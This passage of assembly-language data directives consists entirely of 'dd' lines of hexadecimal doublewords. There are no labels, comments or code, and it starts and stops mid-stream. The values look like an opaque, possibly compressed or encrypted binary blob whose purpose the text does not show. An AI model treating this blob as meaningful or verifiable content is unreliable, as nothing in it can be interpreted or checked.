dd 0C073EFE4h, 495750B4h, 4A4E7100h, 53D83854h, 52450F1Bh dd 26410656h, 0E84CEC3Ch, 4D7A4E41h, 0AF284B00h, 0FF2E102Dh dd 1AEE224h, 308298E9h, 0C83A41B0h, 4799B0Dh, 407F7700h dd 3D0F0B76h, 0E13F0087h, 0D3852489h, 0EC00D257h, 0AF640345h dd 481B08h, 224B9133h, 0C87B4363h, 0E178AE78h, 0B2F63Ah dd 11E40D27h, 0F15E084h, 0E93520FBh, 155A040h, 8300F818h dd 8A0EF3E1h, 3E7630ECh, 0B207F053h, 709217F4h, 0F8347B59h dd 0DF031E74h, 6552AC29h, 0EFF38812h, 6BC003F2h, 3BC5600Eh dd 649D9298h, 0F00767E2h, 4654FC08h, 8E31E250h, 65F27Eh dd 0A11CEBD8h, 4E1F0415h, 4FC4B803h, 0B937036Ch, 6E30F9B0h dd 2B130091h, 21BF5DE7h, 9C009744h, 61C8427h, 806477h dd 0C3695399h, 226F0991h, 8B447D1Eh, 12A789C0h, 0C82CB5h dd 0ED46BBAh, 5B9FEDD9h, 0A21D3700h, 0E0D5E230h, 0FE86000Ch dd 0F80EFF54h, 8A1D1CA7h, 71C0B110h, 40231B28h, 6F9B014Ah dd 57B42C33h, 6B72D813h, 61A20900h, 74797D92h, 9F833E49h dd 64F7600h, 41B10CBCh, 61FC6400h, 65633B6Eh, 19200029h dd 503CDEA7h, 0E4FF6D6Fh, 64004515h, 0B84F3D69h, 0D0E4ACh dd 736566D3h, 612D8AE3h, 0C4186C00h, 0CE444D11h, 8E3A03CBh dd 4A86EA6Eh, 0BBB8BEB8h, 0B926A501h, 9CB2128Bh, 0B864CBE3h dd 90940975h, 0E2320AF1h, 7CDCDE5h, 20BB3976h, 0B70F4540h dd 975C5D24h, 18218039h, 0BAA728B9h, 72EB003Ch, 99D7841Dh dd 931E0E12h, 4F81348Dh, 1A49BEA2h, 55817C4h, 0DB849B0Fh dd 0B9C7C093h, 99002F64h, 0BBF94BF7h, 1C194D2Ch, 0C0A7B245h dd 9ECBF373h, 0F3984408h, 8E53143Ah, 48DD56h, 2A88FC95h dd 3C5C4887h, 45542100h, 0F509764Dh, 4F26B600h, 8FEED912h dd 0C21000C0h, 9FA1A4B2h, 0E600316Fh, 0BA2A1B7Eh, 0FB3D421h dd 0F0B05457h, 0B534C627h, 9A9800D8h, 0C91A8F7Eh, 79FF3600h dd 0D35DF2E9h, 530B018Ch, 974C4450h, 0F07D21D5h, 2201B964h dd 0F47BB41Bh, 25E0FB16h, 0C6940088h, 8018829Dh, 757BFE3Bh dd 2636DE07h, 731510C1h, 8D0874C1h, 0FA8CC870h, 94F7FA3h dd 0A804BCEh, 0F00988Eh, 4388C094h, 4E750161h, 57D874D3h dd 0ABC300AEh, 0AB06933h, 5C1D5116h, 0B840A7F2h, 3B534108h dd 387D0130h, 9D4AC2F4h, 72CAF407h, 8F8D0C02h, 0E0DEC312h dd 74F8DA2Dh, 856F0EDCh, 0B12BD3Ch, 5DFEADh, 42409723h dd 31C2008Ah, 0EB18F98Bh, 270F3A10h, 0C0097221h, 805703D5h dd 75B907FAh, 90B389BBh, 9C159C7h, 0D4310F00h, 1398C44Ch dd 3047D83h, 5570C09Bh, 0D0E70EC8h, 12BC62B8h, 0CAD95200h dd 1005DC46h, 0B08C00D8h, 1FA4D030h, 6726D443h, 0F601AF27h dd 834807E8h, 24A814F0h, 3D7538Dh, 0F719B752h, 0C01BD890h dd 38840800h, 2761012h, 56E90009h, 33557EA5h, 6E1C8B78h dd 5DC08F92h, 0E805D0D6h, 0B94800AFh, 0A124B767h, 0F500E9BAh dd 18EC0C99h, 12A95A8h, 0AC0E495Fh, 0D8727D81h, 0FD007F63h dd 480FDF05h, 2EA4BF17h, 70A42E5h, 30EB3014h, 8CB8E88Ah dd 9C472C3Fh, 9BC03BE6h, 66AB55Fh, 0C455008Bh, 24A7FA5Ah dd 787BF1E9h, 0E1723200h, 0EA103D17h, 3484C0E6h, 0E52DF454h dd 1A8C2114h, 0BC08009Dh, 3D3AD490h, 0A4B10382h, 65DF7201h dd 0C76ABDE8h, 0DC67F00h, 0A550F246h, 16A60081h, 7322E2E6h dd 7C3BCCB8h, 821B812Bh, 8FD42F5Dh, 0E8D8E0E9h, 0F202131Eh dd 0A0A30109h, 0FC799286h, 200012E1h, 6DDFA418h, 7A5699F1h dd 429800E0h, 10F9C0Eh, 8C0135D8h, 0DEBA8BB6h, 0CC8F85F9h dd 33C076E4h, 0D040B45Dh, 0D4961900h, 6138A03h, 0BEF93C48h dd 944E6F80h, 2C77B540h, 0DC752000h, 0D7E5F303h, 7D8324C0h dd 740F00DBh, 8EC8A38Ch, 703D155Ch, 48D3F00h, 99C62B5Bh dd 0C2750033h, 32F546E5h, 97008F22h, 2CC86692h, 3D81D140h dd 9183D80Ch, 4B0A5B6Bh, 4CB8490h, 1941CA00h, 8345A0EAh dd 0B4B80A62h, 81AE1Eh dd 6461C8BCh, 0DC009877h, 0CDC003EDh, 6280F0h, 31E075EEh dd 7C7E06FAh, 3EE66D58h, 30AA0044h, 8D985EE6h, 18890235h dd 5808050Bh, 810972C0h, 0DB033Fh, 8F8B9B1Ch, 4BC32Bh dd 2A299671h, 621A40FFh, 50845500h, 0D009A40Ch, 4CE208h dd 2F58E830h, 71B64F69h, 0CAB03C00h, 20C463E9h, 94BC2441h dd 0F61E3Ah, 8B28BB3Ah, 48010537h, 2C438319h, 42301221h dd 14660030h, 16BE8B50h, 0FE00344Ah, 7B80DE02h, 0D6C103h dd 0F2B0576Eh, 0EA52BA68h, 5900D5ECh, 0F84E8D6Dh, 6C0394Ah dd 7705F980h, 49FAFC51h, 1904DAFAh, 1708B710h, 29C01E87h dd 0B8913248h, 89560009h, 33EB684Bh, 7A1CC72Bh, 6E407980h dd 1081322h, 88191D90h, 1E101D02h, 3E071E04h, 0CEF62780h dd 0DE89F1Bh, 850F240Bh, 8A3980CCh, 73E43h, 1D74052Ch dd 4F83C8FEh, 0F50EE3Ah, 0D488FA08h, 842E00BCh, 0AAEDE93Fh dd 6ABB00BDh, 0F81C904Ch, 87000FC6h, 369C37B7h, 48F38918h dd 8009939h, 0C8C111ADh, 8E00D509h, 14550E9h, 0FA1833FDh dd 25F822h, 367B8D05h, 0EB1354BEh, 5C9DA30Fh, 17E980C3h dd 14801ABh, 425E8414h, 0EDE4F2B4h, 5CBCE488h, 74F244F2h dd 5026A9F2h, 57038171h, 0B80B20EDh, 3E548602h, 6583C976h dd 37A608BAh, 0CEE4B898h, 0B9364404h, 1380810Ch, 7614868Ah dd 5D450349h, 97D45942h, 0BDA400F5h, 93208BF1h, 0E807CC98h dd 2D121AD3h, 864814C0h, 0A9910077h, 0EB2A8A3Bh, 11012C3Ch dd 1408F534h, 68F85F64h, 1B3B0178h, 0BE0A0960h, 5310601Dh dd 0E200287Fh, 4A4B9734h, 9C5A7h, 91160722h, 0D40B944Fh dd 0ED145Ch, 136DA48Fh, 0E274067Ch, 4409000Eh, 3E882E1Eh dd 500056EBh, 0B7C4A28Ch, 33C6A65h, 0D689AFF7h, 0E6A01499h dd 6300ACD9h, 4D4BFCB8h, 0BADCFFh, 0B2365C43h, 0EB2B5A20h dd 7CD7F07h, 47332C0Ah, 81069017h, 1D3A9024h, 4014C95Fh dd 0E57C115Dh, 4C00210Eh, 3BF23C10h, 264B22BCh, 19142Ah dd 74D807C8h, 900785BEh, 68B2A4F0h, 0E6BB4160h, 9FB0000Ah dd 0BCB95D09h, 0C3004916h, 25856C03h, 0C4001h, 36383420h dd 0B6587644h, 630011ECh, 0B5C2EF75h, 14302B01h, 0ECFA5390h dd 2E0F323Ch, 0FD660D4h, 80BDCAE7h, 7257865Fh, 2DE06269h dd 63614200h, 6E45206Bh, 3568005Eh, 56A47A57h, 3400291Ch dd 505B7660h, 695D03h, 2F856D75h, 0D4309401h, 535E3Ah dd 0C2E349BCh, 436517h, 0B6B2BE1Ch, 6D90B56Eh, 58007298h dd 307053EFh, 3B314BADh, 3752DA5h, 0DCAFB590h, 11905098h dd 4D002809h, 8C27646Fh, 295525h, 0A534482Ch, 0CD9AFAD8h dd 6B019D07h, 5070AC53h, 0FC75DEh, 6AD25930h, 4264A128h dd 8B83BF12h, 1978E000h, 760A464Eh, 0A7091DE5h, 0A87C4027h dd 0F67E704Fh, 804A0200h, 0CC5B89FCh, 8A787Dh, 0E0B9C45Eh dd 0E3820A73h, 582F262Eh, 58BED000h, 210F37Eh, 69E0BF80h dd 8DD4468Ah, 0A074020Eh, 50137D09h, 0B01E005Ch, 114B9487h dd 0E43AE021h, 0C010003Ah, 0B4292E0Eh, 0DBC307E5h, 0B0481732h dd 0BB46B33Ch, 6B00E2F0h, 5AA2F9BFh, 49655Fh, 479430Bh dd 4CCA7831h, 2000E698h, 76324D58h, 0EE476113h, 957C002Eh dd 0D8363930h, 1B776ACDh, 0B60017B8h, 4A53E8Eh, 584D5Ah dd 5E2D48Fh, 93D30A29h, 0BF00CB7Ah, 0C1901512h, 7850B346h dd 9443072Ch, 117ABC49h, 0C0F78498h, 3000540h, 8788021h dd 0E8F0110h, 0EAA90750h, 0FE09BBC1h, 0E9D260CAh, 0B1793113h dd 2078E700h, 3E429C7Ah, 8880C6C1h, 0C0219829h, 832E084Eh dd 2D00F9FAh, 2E10BD87h, 40B73F95h, 96DFA6h, 5B0799F3h dd 6DEE9118h, 3AEA29F4h, 454CB190h, 0CC51007Bh, 0FC14A13Eh dd 2CC41C0Bh, 50EB80C2h, 875C1175h, 88649002h, 0E353798Ch dd 42123C7Eh, 31BCECBCh, 0C3431C8Fh, 4C442000h, 84790F3Ch dd 18937C0Eh, 804D4F22h, 896F5C91h, 0B440016Dh, 290E5228h dd 7972E820h, 22351803h, 0B985ADF4h, 8AE04B2Dh, 302C0ED4h dd 0DC60A9D3h, 32FC3143h, 33F98700h, 0F124E50Bh, 0F57C03CBh dd 0A7133026h, 0C13B7B98h, 32A9201Eh, 3342F680h, 3955E8h dd 6F1D6B6Eh, 71205B77h, 0F43AA702h, 0C075304Ah, 76968CBh dd 587F8470h, 0C3E4435Ch, 6007E8C3h, 0EC100146h, 6404B290h dd 0F0F251h, 725411D8h, 736E6103h, 74656D00h, 437C19B6h dd 775727Bh, 0DC34916Fh, 54CC429Dh, 8AABD540h, 320B9501h dd 5C19580Ch, 0F8EB60D1h, 984662A5h, 0C627018Eh, 86774B85h dd 2370E80Eh, 72116F01h, 75C47488h, 0F2C7E0h, 3641378h dd 45287C14h, 780521Fh, 0DC008496h, 0E8C0C68Fh, 570400ABh dd 32517353h, 76765652h, 0FAB32F04h, 218068DBh, 1624884h dd 17A915Dh, 0EC18203Ah, 0FC1C89A2h, 3C5FA468h, 559F8CC0h dd 4D0390h, 0C87D8194h, 716E6547h, 1B6F7500h, 1E69EF12h dd 90493B9Eh, 0AF942785h, 70FE808Dh, 331F8471h, 41C069EBh dd 0D6874F9h, 94101C38h, 0A3634724h, 30451ABh, 9152E4EBh dd 3C755803h, 90784989h, 772D5C0Fh, 8E8F0733h, 102A6461h dd 0EB024124h, 8248110Eh, 0F8832080h, 9565095h, 0B657E90Eh dd 0A524807Dh, 0D0FDC2h, 9CBD2A2Fh, 8C463F4Fh, 1A029100h dd 0B0ACB878h, 0F2957622h, 0E85D0088h, 0DD27771Fh, 0C1007B69h dd 873DF441h, 50D3622h, 3E25C889h, 4B8C042h, 0F03F6373h dd 80C3BB84h, 0E0833074h, 88480Fh, 0D9E5D553h, 0B1AB39CAh dd 1AB2E90Eh, 0ED9B432Ch, 0A41FB022h, 2F3077Fh, 30B62A12h dd 1A93867h, 59510A0Fh, 658FA0B8h, 1C1745FEh, 7F06BD80h dd 5FC1759Eh, 40A21D66h, 5121DD84h, 43008D8Ah, 2B52A19h dd 0CB7516h, 69307659h, 80E06704h, 0E9E46D00h, 4CD2AA13h dd 0DBA41F7Eh, 0B39002Ah, 0B0A5DACFh, 0F9708A00h, 0C114EE6Ah dd 557097D5h, 0E53E901Dh, 8F079C5Dh, 5480A808h, 282993h dd 915BA5A7h, 45A9664Ah, 5D00067Ah, 0AA4085A6h, 4B829AEh dd 2B641F03h, 0B6AB8072h, 0BEE8BA08h, 0C3CDCFBh, 0C2408E03h dd 83CA81C6h, 8705E0CEh, 18ED009Ah, 4C331E45h, 48000666h dd 10EBC1F6h, 18F44E0Fh, 0AECF25AAh, 4301B738h, 1E3F7EA1h dd 0E1D08A11h, 30AEE96h, 5A607CB1h, 45A8C5EAh, 157AE66Bh dd 0ACE22A1Fh, 0DE0F5280h, 16ABA8D2h, 35EEC80h, 5B7A592Ah dd 19CD58A8h, 8C55D800h, 0E89F51B9h, 0B7280016h, 5CBA0B4Eh dd 4801FBC9h, 1B8D108Bh, 0A6D8E974h, 0FC7540h, 0AD9B914h dd 354A5C20h, 44008874h, 73102B74h, 7658B2AEh, 0BC30E717h dd 1C0D0059h, 0EBB0404Bh, 1A075E65h, 21322A54h, 0ACA41040h dd 0B34500A7h, 0B4114E6Ch, 98F019C9h, 9C3040BDh, 1E5700B6h dd 8C3DA1BCh, 0C000BEA0h, 7D258D13h, 73B30A2h, 0B5F8FB8Bh dd 0C0FA67A3h, 22C33657h, 0D2C94D00h, 8CBFECFh, 17AB0082h dd 0EA34DC5Dh, 87002C45h, 597E294Bh, 1184A1Bh, 0BA9444CBh dd 0F732B937h, 78921207h, 6E9473E4h, 3582CA09h, 0B1404D54h dd 30FD3896h, 285C0CFCh, 83090115h, 5054A4C4h, 0FECB59C4h dd 0B08D0016h, 0BA2DC935h, 7E0EEE24h, 0C0501FCFh, 0A016484Fh dd 5EA30096h, 8771D7D4h, 0D87E85F4h, 1CDC0800h, 0B1569FA2h dd 869400E4h, 0D3FB1F55h, 0E800951Ah, 0C8DC633Fh, 1100B26h dd 3D801499h, 2AE15B18h, 0A4EFB0h, 98CE92BFh, 7E591277h dd 0B409C401h, 25A656A3h dd 0F26AC9CCh, 0C8CD002Fh, 8821AF1Ch, 191ECA9Bh, 99C0A543h dd 0DF09D611h, 0BEE85C10h, 0F101330Fh, 3BFFA6Eh, 221A390Ah dd 0F8442AA9h, 0EB00883Ch, 5C61976h, 2601E7A0h, 0FA96DE5h dd 4321DFA4h, 0D15B20A8h, 0E152D1ACh, 4249E0B0h, 0E65B800h dd 391048BCh, 0CC00059h, 0C4908529h, 156719C8h, 54F02006h dd 722CCh, 3209D081h, 0CB60C41Bh, 4F2EAA00h, 0AB4E104Dh dd 4BDC0FDEh, 0FF0FB0E6h, 3B00E2EBh, 65AC82EDh, 923B5F00h dd 0FC0A7185h, 0D27E9564h, 0F02CF406h, 0B7EC0076h, 0DFFE3862h dd 6A3E4307h, 0E432005Bh, 0DDE01472h, 42120045h, 2934CC06h dd 1EE42D83h, 5C1A0102h, 0E0406F2Ch, 0B0A26E1Ch, 0C5CC00C3h dd 0ED540C51h, 0E7A9333h, 8DA56600h, 9D35EF40h, 14EEAE8h dd 8FDDCEEAh, 0D4C709D2h, 0C60FE099h, 0E02AB67Ah, 0D62B49AEh dd 2F580051h, 3DC255D0h, 11DBD03h, 0DC005C77h, 64BCD3B7h dd 0F9532610h, 80FD0001h, 870D048Fh, 0BF2A9E03h, 0A04FA86Bh dd 0AC6865h, 40C683D1h, 0B0F8608h, 1448C0EEh, 0A5AD0063h dd 642D24FBh, 580203F5h, 76DB850Ch, 21C144C0h, 4BCD8600h dd 0BC7C247Fh, 0EF07A4Ah, 56107005h, 3D0C36E3h, 0DF5144D8h dd 6E297A00h, 8833022Bh, 75080042h, 1643C394h, 0E047953h dd 122147E8h, 7F90B6C0h, 519800A2h, 2E1E25E2h, 8000F6F0h dd 0DD3C7869h, 1D2A38D2h, 55204h, 0C981D868h, 7E0010B4h dd 0BFEB6582h, 3BB0925h, 4B594CE0h, 56A8F05Ah, 72006116h dd 48ADF846h, 2D9F7Bh, 4BE70193h, 0D7A7D4FBh, 7906C3Eh dd 0E46EF854h, 0DDEBBD51h, 703AC70h, 44BCCCF7h, 78E6304Bh dd 11007F6Fh, 64DFCEE9h, 731724B4h, 886A0758h, 0D06023D6h dd 0C4709472h, 0BE27D21Fh, 68950C0h, 4F0CAEh, 2F22F114h dd 244EC8DDh, 0E4082112h, 8C6C8000h, 2CFEF084h, 0CAEE65h dd 1625DCF4h, 3400AA11h, 6A9488F3h, 0ABCF4Fh, 54801B6Ch dd 7765AD7Bh, 31C56800h, 2C59958Dh, 57EF1DB0h, 6B5C7F1h dd 0F79CF70Dh, 12AFA14Eh, 0EBD0DC69h, 3A294100h, 8D8263BCh dd 0F87885h, 1975809Ah, 92D2FCF4h, 0D1411300h, 0FEEC5D43h dd 9DD000E4h, 5F0B0879h, 50E41E5Bh, 856D7100h, 0F7659784h dd 1294004Ah, 2224CA1Dh, 5C0B0810h, 80727453h, 0A5AB2D16h dd 0ED750027h, 6918A4E4h, 0C0008906h, 0A7BBA8A9h, 4A82BEh dd 30145D0Dh, 6D6F431Ch, 34876500h, 712C0A73h, 880B39ECh dd 0C170C400h, 0D34E7909h, 8064523Fh, 2BD01884h, 0BA40F22h dd 28447291h, 4C9D7B80h, 0D30E3770h, 0E0D8A5BBh, 25876C33h dd 927900DEh, 12633018h, 0C848D48Bh, 0ACBC00F4h, 178DB6C4h dd 0E031FAC2h, 0ECB2002Fh, 69540BCAh, 0EA0F4556h, 24985980h dd 0A2800C89h, 0B87212h, 56AD536Ch, 30C88ADCh, 0E445400h dd 6765354Ch, 0E109005Ah, 0C95BC370h, 4B017468h, 0E0F82930h dd 27D8ABF2h, 87640018h, 6BC58E6Dh, 0C8F72873h, 0B200D142h dd 0B14F2610h, 9055E5h, 947AC427h, 814475Ah, 0D6D18001h dd 0EA25F46h, 6016CCh, 295CC595h, 2EB06488h, 90E34B16h dd 0DCC47F00h, 7C44D148h, 0ABF07EDh, 40B36965h, 12B47542h dd 806C643Fh, 30D2520Ch, 72EB8F6h, 14257669h, 8B59165h dd 24FC4E0h, 16B0F5Ch, 4E7685Fh, 0D7F8D4C6h, 31A1866h dd 88104619h, 0C8064301h, 1890141Bh, 2E9104E0h, 73A381Ch dd 50AE961Ah, 0D27CB865h, 29339F00h, 13AB9C4Ah, 1038000Fh dd 2E642B25h, 14F02703h, 87D2AD00h, 53588011h, 0FB478B1h dd 2190DF3Eh, 5CC0A74Eh, 3181779Dh, 0F80BF0BFh, 79E107D9h dd 0E0B8AC2Ah, 0D234150Ah, 2B00257Ch, 0EDBBC044h, 588AD620h dd 0D3004703h, 0D501B5A7h, 0B8008302h, 0AE3D4FFBh, 0FA34D4h dd 0E2C87232h, 0C9128937h, 8CB7D901h, 0F188A18Bh, 5562D0h dd 9C01451Bh, 0D35B279Fh, 80FB1D3Ah, 504108D1h, 32A5251h dd 0EB1069ECh, 588864C2h, 3C00B3EAh, 5E575684h, 38A473h dd 0C29887E9h, 145A52E6h, 369FB40Eh, 0BF2B0Fh, 8E1F3EACh dd 471000Bh, 0FD27CCFEh, 5F01AF12h, 38EA1CD1h, 0C0D44754h dd 34560039h, 0FF3A3374h, 811ECC76h, 470EC322h, 0BA805D4Ch dd 809044Dh, 3C0F0370h, 6F7788B1h, 298BB6B8h, 69DE7503h dd 0FA99554Bh, 3654E00Ch, 2B4300AFh, 0A5D4459Fh, 0AD010576h dd 1912BEF4h, 0F0D0A2E2h, 15261D90h, 8043DE0Eh, 0C1695D8Ch dd 2A019402h, 0EC881CF4h, 9630F0CEh, 0F03B7D8Eh, 0C0E0047h dd 7E2146D2h, 0A1ED4A7h, 5000D76Ch, 0DEC8D5A6h, 0D9A50077h dd 0CEB62A4h, 3F002171h, 1711DBA7h, 686C6Ah, 74D83BC0h dd 0AECB8316h, 0A6F70400h, 4512A028h, 0C26A00F0h, 4FDF77E3h dd 290024ABh, 48165D4Bh, 0B00C06C3h, 0CE090C9Ch, 66B23908h dd 0D7CA890Eh, 907A8085h, 0FF0AA6h, 1184872h, 6CC1EBCEh dd 595C2300h, 0E26A90E5h, 3A8100A0h, 2E1977D0h, 6F009B89h dd 4B2BC48Ch, 88FBC2h, 0B483075Bh, 0FFB09281h, 0EE604504h dd 5700CC17h, 5882FEE9h, 58474048h, 2E10033h, 0C1F5FA2Ch dd 6B5E0175h, 0A0F168D8h, 2D6320C4h, 0DCA13C00h, 1F061CE3h dd 7EBD0043h, 4194D48h, 0FA008001h, 5302BB05h, 3C32EBh dd 9D2CAF41h, 27450618h, 82206A60h, 7A28AFEh, 4C50FF5h dd 0C7838088h, 541F4802h, 95C0CF43h, 13C144Dh, 0D9495C30h dd 34D9AA00h, 8448E36Bh, 3DC93200h, 0B95E882Fh, 12760391h dd 3B7421BAh, 72FC3AF0h, 6A838C00h, 0C7F2F449h, 0B2900010h dd 30393DD6h, 96007370h, 0BFC28BD2h, 0E698FEh, 0C6126CF4h dd 5D4A2404h, 935B801h, 3B5564BAh, 0E0FCADF5h, 0FE840042h dd 0F3C07489h, 0B405ED33h, 5F77087Eh, 0E681C280h, 0FE103B8Ch dd 830F1B9Eh, 0DBAB0DDFh, 7C89CEB8h, 47174A00h, 0E388559Fh dd 0B19011h, 8BA71F0Dh, 8577F8BAh, 81A09E4Ah, 115F00D0h dd 0C53B2BF1h, 2C022452h, 0FF6AE477h, 0B6D5E054h, 0B9D400DBh dd 86E7226Ch, 7E7D7428h, 52897F05h, 0BE0092ADh, 1D8D70EBh dd 661A1D98h, 850580D6h, 28215346h, 4D75E207h, 40903E9Ch dd 6132CBh, 6F881931h, 0E655697h, 6AE91F05h, 0D60E03AEh dd 0C622E005h, 0AB2550h, 121DA511h, 0AF0A5406h, 1244C00h dd 77714FDh, 68FE6303h, 5E05B8Ah, 5F3B5D62h, 0A25A03B3h dd 0F3BE4BD1h, 9FEAA0A4h, 0FD130025h, 4E7FDED9h, 10F688EFh dd 41CC2000h, 22496F5Bh, 196A00D8h, 92F53942h, 54015DE7h dd 0C0A38C1Bh, 0A5EC452Dh, 18D4011Ah, 64F3CF3Fh, 0B8F0D860h dd 0C4DA1400h, 5309FF65h, 5AEE0Fh, 0AA2BBB25h, 0A4290532h dd 44EC3700h, 8DBABF9Bh, 0AC3F00FEh, 6E0FD4C7h, 5800EF32h dd 19F7EAA7h, 0F8BD7076h, 223B00D7h, 2C683603h, 2E008D66h dd 0C74543E4h, 0EA8271h, 7802F45Fh, 33CAE055h, 0BD49F300h dd 30AE2040h, 17DC0053h, 0E251606Fh, 230722D8h, 68D413C0h dd 0DEE7A627h, 0D0C4A3E0h, 6F730348h, 9BCCA251h, 8FE87AEBh dd 763BC812h, 1AF50710h, 0B7D7C429h, 0C0F1A8D1h, 0C81BD3FCh dd 0B8C0BC4Eh, 77C1D05Fh, 0B4451F9Eh, 1E42B036h, 4303B022h dd 148D7A37h, 0E8DBE3ACh, 3EA878D4h, 1FF49C8Bh, 5F4DA4D1h dd 884740BDh, 0DEB790A0h, 0C19C4CC8h, 12E74398h, 0A5691094h dd 0F75C2C00h, 84DA04D8h, 12EEFE4Eh, 7BFD5C4h, 943DA9ACh dd 61BBC007h, 40004E70h, 2571626Bh, 3B691C65h, 0FF007775h dd 57ADCC67h, 0BC002C9Eh dd 0DAE74272h, 0C34316h, 0EB22354Eh, 1D6CD5CCh, 13D895h dd 3768B8B9h, 0C5648DBh, 0D8BD0B00h, 41FA4E4h, 5FE800D6h dd 0E3FE0146h, 0E2F4297Eh, 0F44D6200h, 17B11E9Ch, 0A5C00ACh dd 4FF2C727h, 1B002910h, 0DA6CB74Ah, 3E3BA908h, 5F8346C2h dd 0EE58E276h, 515EB5E0h, 30E1F43Ah, 3E1378D4h, 0A8BC0020h dd 0DA9057A2h, 8504DC36h, 341D0425h, 53DD6FC0h, 0F982008Fh dd 0E9A7AAA3h, 4B005DC9h, 5B30D398h, 78E83Dh, 0F7700651h dd 0D91E148h, 0A3184700h, 3D83438Ch, 0C9FEA2h, 0ECC28EF4h dd 0DBF12124h, 3A14538h, 6838801Ah, 0AAAA875h, 94431FFDh dd 6E90004h, 0C525A2D9h, 0E88660E3h, 2AD0AF60h, 0FC2336h dd 6E3BBF7h, 1DF8682Fh, 0A0F4EA00h, 86C42B13h, 0A11C0721h dd 0C1768528h, 0F4176984h, 7007A41h, 954DBE5h, 0B44AE3h dd 9E151AA0h, 0CA2B89B6h, 458BD401h, 952AA2B8h, 1D6B0F20h dd 40E2F343h, 4B2FDC3Dh, 970192FBh, 7C67F55Dh, 71F07908h dd 89AF0F84h, 34228CD4h, 0E3E35465h, 87EB50EBh, 25FF16F8h dd 0C0F84400h, 1C401099h, 478E003Ch, 91342338h, 2C00C830h dd 247228E4h, 0E21C2039h, 18412D8Eh, 3F30D4h, 0A4C4B4A6h dd 3E6D29DDh, 5002814h, 94E8F35Ah, 0B5F2BF4Fh, 8404D000h dd 0B05F76D2h, 0C9440081h, 5DA1708Ah, 8000FC01h, 2EFF0B7Ch dd 0FED175h, 7D3944BDh, 4C740482h, 9B3FEB00h, 7B8AF19h dd 0D0C10080h, 40B2E937h, 13009839h, 29D8B60Fh, 3BF7750Ah dd 5C0AE0BFh, 1E964E35h, 0CB02C121h, 0E8A5E983h, 410072FBh dd 880F7F0Ch, 2402C4Ch, 75CAFE0Dh, 0AFC0DAA3h, 0B10023F9h dd 6E22DDABh, 0B540F6h, 51E29456h, 2DC5BE53h, 69DE0F2Eh dd 0E72CC400h, 0F8D2B8CCh, 0BE190175h, 0C7D9BA29h, 8205D4ADh dd 4A10700h, 182B376Ch, 1688006Bh, 22F35EDEh, 531C4FD7h dd 0EDD2C220h, 7998B900h, 28FF6B26h, 0BC2CA6h, 0C7031E14h dd 0A406D950h, 7E0CBF1Dh, 0D82B0D47h, 4AC0F8D7h, 422ABE3h dd 2C71C582h, 0E4888032h, 8900141Fh, 2E051043h, 1060Ch dd 667F6854h, 3D53004h, 0DF6EC800h, 0C6097D60h, 6B484805h dd 62842Eh, 7C7A90FEh, 0BD0A6ADFh, 0F61DC6FBh, 0B7452501h dd 0D520A67Bh, 64D5037Eh, 5F107CEEh, 96700AD8h, 0E7AE3507h dd 4FE05A14h, 3E2016ACh, 180A9FBh, 0A897E8ECh, 0D3F87556h dd 0B2EB8E00h, 0AA055F71h, 58531750h, 0C8ACF047h, 0B39F1400h dd 374A0460h, 8C661FAAh, 0C73E1CCEh, 0FEEC71Dh, 2E35A6A0h dd 0BC00C9BFh, 81100540h, 41878h, 7554D7B1h, 0C2A4AC15h dd 77A4848h, 81274A58h, 0F3EB2053h, 0B204D085h, 145C77D7h dd 0CD0EC862h, 2CF82401h, 0CD5EC390h, 1EF2E074h, 0CCE1A300h dd 80ED6A29h, 4B021E2Eh, 0D8AA4016h, 0E2B7428Eh, 38D4923Fh dd 66A28010h, 25439F0h, 7A8600E8h, 0EE8AC8E0h, 0CD00AF42h dd 0F00D217Fh, 1EAA106Ah, 0FFFDA55h, 0C3A00A2Fh, 0CB8362C6h dd 8065DF39h, 11B3E882h, 9545F02h, 3C995C31h, 0D95EC000h dd 0E80B9C13h, 80C15274h, 699208CAh, 0B963398Dh, 4AB68000h dd 18201514h, 7AA20C01h, 4352DF90h, 973477E5h, 9CE47Dh dd 0E8C28B30h, 0A73D322Ah, 16032500h, 59396491h, 0B66E390Ch dd 0FE701080h, 131ED48h, 87E86700h, 46BA44Dh, 88E422h dd 0A8903419h, 80282429h, 0E0103D02h, 0C0135074h, 0FBBB9E3h dd 0D75B059Eh, 5CA7F320h, 0F7044C0Bh, 0C139E034h, 2E4E9980h dd 92D0006Fh, 40A5C779h, 0D400CF7Fh, 64882238h, 4B5073h dd 4C20AA52h, 0D60CBED8h, 21AE2701h, 3F2C8F16h, 1CF5CD4h dd 5ABB4A3Ch, 307B71ABh, 8000019Ch, 742DFC78h, 0B8D71Eh dd 135DB2A4h, 0DE2F0451h, 4F5A8000h, 0E16A88C6h, 34E252h dd 6789D877h, 0E5D7B8A7h, 6500C275h, 2EE19608h, 1E58595Bh dd 0BA64354Bh, 825AB501h, 0F4D0D727h, 0F000ADE9h, 0EB3F19A8h dd 8AE705h, 0BC84A663h, 5C766AE1h, 0E810C004h, 0FAC04607h dd 12D11Bh, 47653D1Dh, 0E688554h, 8ECE3EFAh, 0CFABAA50h dd 0BA4F241Fh, 0F8E8BCC0h, 19DA6600h, 4F0B2A51h, 0C95C00CFh dd 44B942C2h, 0BA1E4813h, 825FD378h, 3C7A9882h, 1CA66032h dd 36DC00B8h, 130EBF15h, 71011A74h, 64FDBBBAh, 0DF61EB7Fh dd 0FE2FF4h, 0B2799554h, 0A7D3A45Ah, 0A35B9800h, 6E200775h dd 47741C6Fh, 7B80BC66h, 144450D1h, 45004840h, 30204F4Ch dd 3E7355h, 3A69572Eh, 0ACDE6874h, 0B498C4A0h, 3B498700h dd 92F0D5AFh, 29F700FBh, 0EFE388C5h, 0FC00A23Ch, 351B9886h dd 2F9CB8h, 0EB4E90E2h, 8B3301C0h, 4967C807h, 0ABF4BA3Ch dd 2B736980h, 0A8420020h, 0FEA32D9Fh, 62002C03h, 0A75D253h dd 0A54494h, 0E38F8BDDh, 49F3C755h, 3CF8F970h, 800CFC3Dh dd 7CA3853Eh, 4AF1ABD5h, 58B812h, 0E233545Bh, 8D49D2h dd 22F7EE4Dh, 0D5E42878h, 694EF900h, 0F17F7B32h, 19C23E5Fh dd 0F22BD101h, 0C008BCF5h, 4900414Dh, 5246204Ch, 1C3AF04Fh dd 40885BEDh, 0B047DE9Ah, 1509A1E2h, 14008E4h, 205450DEh dd 5E4FE0h, 1CCCA3Ah, 0DD0814E8h, 0D85D8900h, 0EE4E3250h dd 698F05AFh, 0C09FFF4Bh, 8D62F40Dh, 0D7D1E500h, 94D9A4C7h dd 75FA0F92h, 0C01C655Eh, 0BAFC0A4Dh, 